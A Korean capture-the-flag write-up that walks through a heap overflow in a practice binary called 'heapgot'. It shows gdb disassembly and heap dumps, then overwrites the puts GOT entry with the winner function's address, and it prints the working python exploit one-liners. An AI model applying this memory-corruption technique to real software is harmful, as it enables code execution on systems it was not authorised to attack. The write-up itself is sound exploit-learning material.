문제 소스코드입니다. heap영역을 오버플로우 해서 winner 함수를 실행 시키면 될 것 같습니다.
gdb로 분석해보겠습니다.
(gdb) b*main+139
Breakpoint 1 at 0x80485c0
(gdb) r AAAAAAAA BBBBBBBB
Starting program: /home/heapgot/heapgot AAAAAAAA BBBBBBBB
Breakpoint 1, 0x080485c0 in main ()
argv1에 A 8개와 argv2에 B 8개를 인자로 입력하고 gdb를 돌려보겠습니다.
0x0804853b <+6>: push 0x8 i1 = malloc(8)
0x0804853d <+8>: call 0x80483c0 <malloc@plt>
0x08048542 <+13>: add esp,0x4
0x08048545 <+16>: mov DWORD PTR [ebp-0x4],eax
0x08048548 <+19>: mov eax,DWORD PTR [ebp-0x4]
0x0804854b <+22>: mov DWORD PTR [eax],0x1 //priority = 1
0x08048551 <+28>: push 0x8
0x08048553 <+30>: call 0x80483c0 <malloc@plt> //name = malloc(8)
0x08048558 <+35>: add esp,0x4
0x0804855b <+38>: mov edx,eax
0x0804855d <+40>: mov eax,DWORD PTR [ebp-0x4]
0x08048560 <+43>: mov DWORD PTR [eax+0x4],edx //i1 -> name
;--------------------------------------------------------------------------------------------
0x08048563 <+46>: push 0x8
0x08048565 <+48>: call 0x80483c0 <malloc@plt> //i2 = malloc(8)
0x0804856a <+53>: add esp,0x4
0x0804856d <+56>: mov DWORD PTR [ebp-0x8],eax
0x08048570 <+59>: mov eax,DWORD PTR [ebp-0x8]
0x08048573 <+62>: mov DWORD PTR [eax],0x2 //priority = 2
0x08048579 <+68>: push 0x8
0x0804857b <+70>: call 0x80483c0 <malloc@plt> //name = malloc(8)
0x08048580 <+75>: add esp,0x4
0x08048583 <+78>: mov edx,eax
0x08048585 <+80>: mov eax,DWORD PTR [ebp-0x8]
0x08048588 <+83>: mov DWORD PTR [eax+0x4],edx //i2 -> name
priority의 주소는 main+22에 브레이크 포인트를 걸고 (gdb) i r $eax 를 하면 나옵니다.
아래는 두개의 strcpy() 함수에 대한 부분입니다.
0x08048596 <+97>: mov eax,DWORD PTR [eax+0x4]
0x08048599 <+100>: push edx
0x0804859a <+101>: push eax
0x0804859b <+102>: call 0x80483b0 <strcpy@plt>
0x080485a0 <+107>: add esp,0x8
0x080485a3 <+110>: mov eax,DWORD PTR [ebp+0xc]
0x080485a6 <+113>: add eax,0x8
0x080485a9 <+116>: mov edx,DWORD PTR [eax]
0x080485ab <+118>: mov eax,DWORD PTR [ebp-0x8]
0x080485ae <+121>: mov eax,DWORD PTR [eax+0x4]
0x080485b1 <+124>: push edx
0x080485b2 <+125>: push eax
0x080485b3 <+126>: call 0x80483b0 <strcpy@plt>
마지막으로 코드 마지막의 puts 함수입니다.
0x080485bb <+134>: push 0x8048674
0x080485c0 <+139>: call 0x80483d0 <puts@plt>
AAAAAAAA BBBBBBBB 을 인자로 입력한 후 메모리를 살펴보겠습니다.
(gdb) x/20x 0x804b008
0x804b008: 0x00000001 0x0804b018 0x00000000 0x00000011
0x804b018: 0x41414141 0x41414141 0x00000000 0x00000011
0x804b028: 0x00000002 0x0804b038 0x00000000 0x00000011
0x804b038: 0x42424242 0x42424242 0x00000000 0x00020fc1
0x804b048: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b18에 argv1이 들어갔습니다. 그리고 0x804b38에 argv2가 들어갔습니다.
그리고 위에 0x803b008에서 priority값인 1과 다음 4바이트에 argv1이 들어갈 주소가 있습니다. 마찬가지로 0x803b28도 priority값인 2와 argv2의 주소가 있습니다.
공격 벡터를 찾았습니다. strcpy함수를 이용해서 이 부분을 공격해야합니다.
익스플로잇은 argv1에 임의의 값인 A를 20바이트를 넣어서 0x804b28까지 채웁니다.
그리고 0x804b02c에는 puts 함수의 got를 넣어야 합니다. puts 함수의 got는 아래와 같이 구할 수 있습니다.
(gdb) x/i 0x80483d0
0x80483d0 : jmp DWORD PTR ds:0x804a01c
(gdb) x/x 0x804a01c
0x804a01c <puts@got.plt>: 0x080483d6
그리고 argv2에는 winner 함수의 주소를 넣어줍니다.
(gdb) p winner
$2 = {<text variable, no debug info>} 0x804850b <winner>
따라서 공격 코드는 ./heapgot `python -c 'print "A"*20+"\x1c\xa0\x04\x08"+" "+"\x0b\x85\x04\x08"'`
문제가 풀릴줄 알고 코드를 입력했는데 winner함수는 실행이 되지만 segment fault가 뜨면서 cat flag는 실행하지 못합니다.
어떤 문제가 있을까 찾다가 우연히 얻어걸린 코드가 아래와 같습니다.
./heapgot `python -c 'print "A"*20+"\x1c\xa0\x04\x08"+" "+"\x0b\x85\x04\x08\xe6\x83\x04\x08"'`
추가로 system 함수의 got를 적어주면 system 함수의 "cat flag" 명령을 성공적으로 수행합니다.